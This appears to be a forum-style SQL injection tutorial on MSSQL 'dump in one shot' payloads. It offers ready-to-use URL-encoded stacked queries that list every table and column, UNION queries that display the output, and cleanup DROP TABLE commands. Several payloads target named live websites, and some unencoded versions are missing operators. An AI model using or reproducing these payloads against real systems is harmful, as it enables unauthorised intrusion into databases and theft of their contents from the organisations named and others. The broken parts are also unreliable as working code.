☣️DIOS MSSQL

USAGE FOR Simple DIOS: Just put the code in place of vulnerable column and see the magic

MSSQL DIOS

Gives us all the Tables:

(select+table_name%2b'::' as t+from+information_schema.tables FOR XML PATH(''))

Gives us all the Columns:

(select+column_name%2b'::' as t+from+information_schema.columns FOR XML PATH(''))

Gives us all the Tables and Columns:

(select+table_name%2b'::'%2bcolumn_name as t+from+information_schema.columns FOR XML PATH(''))

----------------------------------------------------------------

DIOS with STACKED QUERY

"With Stacked Queries we can Execute multiple statements in the same query to extend the possibilities of SQL injections"

And in some cases where System.Web.HttpException is enabled there HTML tags will be parsed as dangerous requests so this will work in almost every scenario:

DIOS-1 with integer type:

http://aquaservices.co.in/Product.aspx?Id=13;begin declare @x varchar(8000), @y int, @z varchar(50), @a varchar(100) declare @myTbl table (name varchar(8000) not null) SET @y=1 SET @x='injected by ASAD :: '%2b@@version%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Database : '%2bdb_name()%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @z='' SET @a='' WHILE @y<=(SELECT COUNT(table_name) from INFORMATION_SCHEMA.TABLES) begin SET @a='' Select @z=table_name from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in (select name from @myTbl) select @a=@a %2b column_name%2b' : ' from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=@z insert @myTbl values(@z) SET @x=@x %2b  CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Table: '%2b@z%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Columns : '%2b@a%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @y = @y%2b1 end select @x as output into temp_dios_sample END--

DIOS-2 with Single-Qoute:

https://www.kpbte.edu.pk/pages/contactdetails.aspx?id=1';begin declare @x varchar(8000), @y int, @z varchar(50), @a varchar(100) declare @myTbl table (name varchar(8000) not null) SET @y=1 SET @x='injected by ASAD :: '%2b@@version%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Database : '%2bdb_name()%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @z='' SET @a='' WHILE @y<=(SELECT COUNT(table_name) from INFORMATION_SCHEMA.TABLES) begin SET @a='' Select @z=table_name from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in (select name from @myTbl) select @a=@a %2b column_name%2b' : ' from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=@z insert @myTbl values(@z) SET @x=@x %2b  CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Table: '%2b@z%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Columns : '%2b@a%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @y = @y%2b1 end select @x as output into Chall1 END--

HOW TO SEE THE OUTPUT ON WEBPAGE:

https://site.com/page.aspx?id=-1 union select 1,2,3,output,5 from Chall1--

And heres how it will work on a live site:

https://www.kpbte.edu.pk/pages/contactdetails.aspx?id=1'+and+1=0+union+select+output,2,3,4 from Chall1--

So dont forget to drop (Delete) that table after running the query:

https://www.kpbte.edu.pk/pages/contactdetails.aspx?id=1'; DROP TABLE Chall1--

----------------------------------------------------------------

----------------------------------------------------------------

THE BASIC QUERY: Get all tables In one Query

BEGIN DECLARE @a varchar(8000) SET @a='|' SELECT @a=@a%2b'<li>'%2btable_name FROM information_schema.tables SELECT @a AS output INTO dios_table_out END

Get all Tables and columns In one Query

BEGIN DECLARE @a varchar(8000) SET @a='|' SELECT @a=@a%2b'<li>'%2btable_name%2b' :: '%2bcolumn_name FROM information_schema.columns SELECT @a AS output INTO dios_table_out END

A little Modifications

BEGIN DECLARE @a varchar(8000) SET @a='<b><font color="red" size=3>Injected By ASAD</font></b><br><b>Version : </b>'%2b@@version%2b'<br><b>Database : </b>'%2bdb_name()%2b'<br><br>' SELECT @a=@a%2b'<li>'%2btable_name%2b' :: '%2bcolumn_name FROM information_schema.columns SELECT @a AS output INTO dios_out END

And in the end here is our Final Query:

BEGIN
DECLARE @data VARCHAR(8000), @counter int, @tblName VARCHAR(50), @colNames VARCHAR(100)
DECLARE @tmpTbl TABLE (name VARCHAR(8000) NOT NULL)
SET @counter = 1
SET @data = 'injected by rummykhan :: ' + @@VERSION + ' Database :: ' + DB_NAME()
SET @tblName = ''
SET @colNames = ''
WHILE @counter<=(SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES)
BEGIN
	SET @colNames = ''
	SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from @tmpTbl)
	SELECT @colNames = @colNames +  column_name + ' : ' FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = @tblName
	INSERT @tmpTbl VALUES(@tblName)
	SET @data = @data + 'Table : ' + @tblName  ' + Columns : ' + @colNames
	SET @counter = @counter + 1
END
SELECT @data AS output INTO Challenge
END

Well This Query looks horible but it actually is not. Lets go deep into this Query. with BEGIN and END we declare a Batch/Group of statements to be executed together. Next step is declaring supporting variables for holding table_name, column_name, a counter, one variable that can hold all table_names and column_names and one table with one column which will be acting as a collection which will be used to hold all the tables names.. will explain its use later. Next step is initializing declared variables.. we cannot use these un-initialized variables in SELECT statement.. thats why these are initialized with empty strings.. and @data with database version and database for further display in output.. Next step is WHILE Loop

WHILE @counter<=(SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES)

Above statement will bound this loop to run through all tables. At next step @colNames is re initialized with empty string everytime to hold the coloums of Only One table at a time. The Next step is getting a table_name into @tblName and getting column_name for that table into @colNames and adding values of both @tblName and @colNames into @data Now this part

SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from @tmpTbl)

With the above Query SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME only one table will be fetched. To get next table in next iteration we used NOT IN Clause. But NOT IN Clause need a collection for which we declared a TABLE @tmpTbl with a COLUMN named name. For first time @tmpTbl will b empty so first table_name will b retrieved in @tblName. Then the part INSERT @tmpTbl VALUES(@tblName) each time @tblName value will be inserted in @tmpTbl and when it will goto this line again SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from @tmpTbl) Next table will b retrieved from this statement and so on. As @tmpTbl have first table_name now and so on. when the loop will end all tables and columns will be added in @data, and then with the below statement

SELECT @data AS output INTO Challenge

we can store all @data into new table Challenge Here is the complete Query:

 
http://site.com/page.aspx?id=1;BEGIN DECLARE @data VARCHAR(8000), @counter int, @tblName VARCHAR(50), @colNames VARCHAR(100) DECLARE @tmpTbl TABLE (name VARCHAR(8000) NOT NULL) SET @counter = 1 SET @data =  'injected by rummykhan :: '  @@VERSION  ' Database :: '  DB_NAME() SET @tblName = '' SET @colNames = '' WHILE @counter<=(SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES) BEGIN SET @colNames = '' SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from @tmpTbl) SELECT @colNames = @colNames   column_name  ' : ' FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = @tblName INSERT @tmpTbl VALUES(@tblName) SET @data = @data   'Table : '  @tblName  ' Columns : '  @colNames SET @counter = @counter   1 END SELECT @data AS output INTO Challenge END-- -

Remember to change with %2b becuase is taken as space when sent from URL

For the Challenge site our final query will be like:

http://www.uwdmaindia.org/EventDetails.aspx?ID=3';BEGIN DECLARE @data VARCHAR(8000), @counter int, @tblName VARCHAR(50), @colNames VARCHAR(100) DECLARE @tmpTbl TABLE (name VARCHAR(8000) NOT NULL) SET @counter = 1 SET @data=' injected by rummykhan :: '%2b@@version%2b'<br/>'%2bdb_name() SET @tblName = '' SET @colNames = '' WHILE @counter<=(SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES) BEGIN SET @colNames = '' SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from @tmpTbl) SELECT @colNames = @colNames %2b' : '%2bcolumn_name  FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = @tblName INSERT @tmpTbl VALUES(@tblName) SET @data=@data%2b'<br/><br/>Table : '%2b@tblName%2b'<br/>Columns : '%2b@colNames%2b'<br/>' SET @counter = @counter %2b 1 END SELECT @data AS output INTO Challenge END-- -